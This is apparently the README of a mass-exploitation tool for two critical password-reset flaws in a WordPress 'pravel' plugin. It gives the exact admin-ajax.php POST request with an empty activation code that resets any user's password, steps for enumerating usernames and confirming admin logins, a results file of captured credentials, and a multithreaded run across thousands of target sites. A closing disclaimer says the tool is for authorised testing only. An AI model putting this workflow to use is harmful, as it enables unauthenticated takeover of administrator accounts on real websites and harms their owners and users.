
Prise de contrôle de compte non authentifié via une validation faible de réinitialisation de mot de passe via le paramètre 'reset_user_id' | Escalade de privilèges non authentifiée via une validation faible de réinitialisation de mot de passe via 'reset_activation_code' menant à une prise de contrôle de compte
Prise de contrôle de compte non authentifiée via une validation faible de réinitialisation de mot de passe utilisant le paramètre 'reset_user_id' | Escalade de privilèges non authentifiée via une validation faible de réinitialisation de mot de passe utilisant 'reset_activation_code' menant à une prise de contrôle de compte
Par : Khaled Alenazi (Nxploited)
Escalade de privilèges non authentifiée via une validation faible de réinitialisation de mot de passe
| Champ | Valeur |
|---|
| CVSS | 9.8 Critique |
| Vecteur | AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| Publié | 23 juin 2026 |
| Chercheur | Alyudin Nafiie |
La fonction pravel_change_password() est enregistrée comme un gestionnaire wp_ajax_nopriv — accessible sans authentification. Elle n'effectue aucune vérification de nonce ni de capacité. La seule protection est une comparaison d'égalité lâche entre le reset_activation_code fourni par l'attaquant et la valeur meta forgot_email de l'utilisateur. Pour tout utilisateur n'ayant jamais déclenché de réinitialisation de mot de passe, get_user_meta() retourne une chaîne vide, ce qui satisfait trivialement '' == '' avec un code omis ou vide. Un attaquant non authentifié peut donc envoyer une requête POST manipulée à admin-ajax.php avec action=pravel_change_password, reset_user_id défini sur n'importe quel ID utilisateur (y compris les comptes administrateurs) et new_password_custom défini sur un mot de passe arbitraire — aboutissant à une prise de contrôle complète du compte.
Prise de contrôle de compte non authentifiée via une validation faible de réinitialisation de mot de passe
| Champ | Valeur |
|---|---|
| CVSS | 9.8 Critique |
| Vecteur | AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| Publié | 23 juin 2026 |
| Chercheur | Alyudin Nafiie |
La fonction pravel_invoice_change_password() est également exposée comme un gestionnaire AJAX nopriv sans nonce ni vérification d'autorisation. La même contournement '' == '' s'applique : fournir un reset_activation_code vide contre un administrateur n'ayant jamais utilisé le flux de mot de passe oublié permet une réinitialisation immédiate du mot de passe. L'attaquant contrôle la cible via reset_user_id et le nouveau mot de passe via new_password_custom.
For each target site:
1. AJAX Probe (fast path — IDs 1 and 2)
POST /wp-admin/admin-ajax.php
action=pravel_change_password (CVE-2026-12417)
action=pravel_invoice_change_password (CVE-2026-12416)
reset_user_id=<id>
new_password_custom=<fixed_password>
reset_activation_code= ← empty — bypasses the check
Response on success:
{"activation":true,"message":"Password has been changed successfully"}
2. Username Resolution (lazy — only runs after confirmed reset)
a. GET /wp-json/wp/v2/users/<id> ← exact username for the reset ID
b. "admin" ← always tried second
c. GET /wp-json/wp/v2/users ← REST API bulk list
d. /?author=1..3 redirect ← author archive scan
3. Login Verification
POST /wp-login.php
log=<username> pwd=<password>
Check for wordpress_logged_in cookie.
4. Admin Confirmation
GET /wp-admin/users.php
Requires list_users capability — administrators only.
Any deny message or login redirect → not admin, skip.
5. On Confirmed Admin
Save to scan_results/pravel_admin_success.txt:
SITE | LOGIN URL | user | pass | exploit | id
Print result line to terminal.
6. Extended Sweep (if IDs 1–2 both fail)
Repeat steps 1–5 for user IDs 3 through 20.
Terminal :
[1/5000] https://target.com NO
[2/5000] https://victim.com ADMIN=admin pass=Nxploited@123KSa exploit=pravel_change_password id=1 | https://victim.com/wp-login.php
[3/5000] https://another.com NO
Fichier de résultats (scan_results/pravel_admin_success.txt) :
[2026-06-24 16:00:00] SITE=https://victim.com | LOGIN=https://victim.com/wp-login.php | user=admin | pass=Nxploited@123KSa | exploit=pravel_change_password | id=1
python Cl.py
Targets file (one URL per line) [targets.txt]: sites.txt
Threads (concurrent sites) [50]: 100
Prérequis :
pip install requests rich colorama urllib3
Cet outil est fourni uniquement pour la recherche en sécurité autorisée et les tests de pénétration.
L'utilisation contre des systèmes que vous ne possédez pas ou pour lesquels vous n'avez pas d'autorisation écrite explicite est illégale.
L'auteur décline toute responsabilité en cas d'utilisation abusive ou de dommages causés par cet outil.
Tous les détails des CVE proviennent de bases de données publiques de vulnérabilités.
Par : Khaled Alenazi (Nxploited)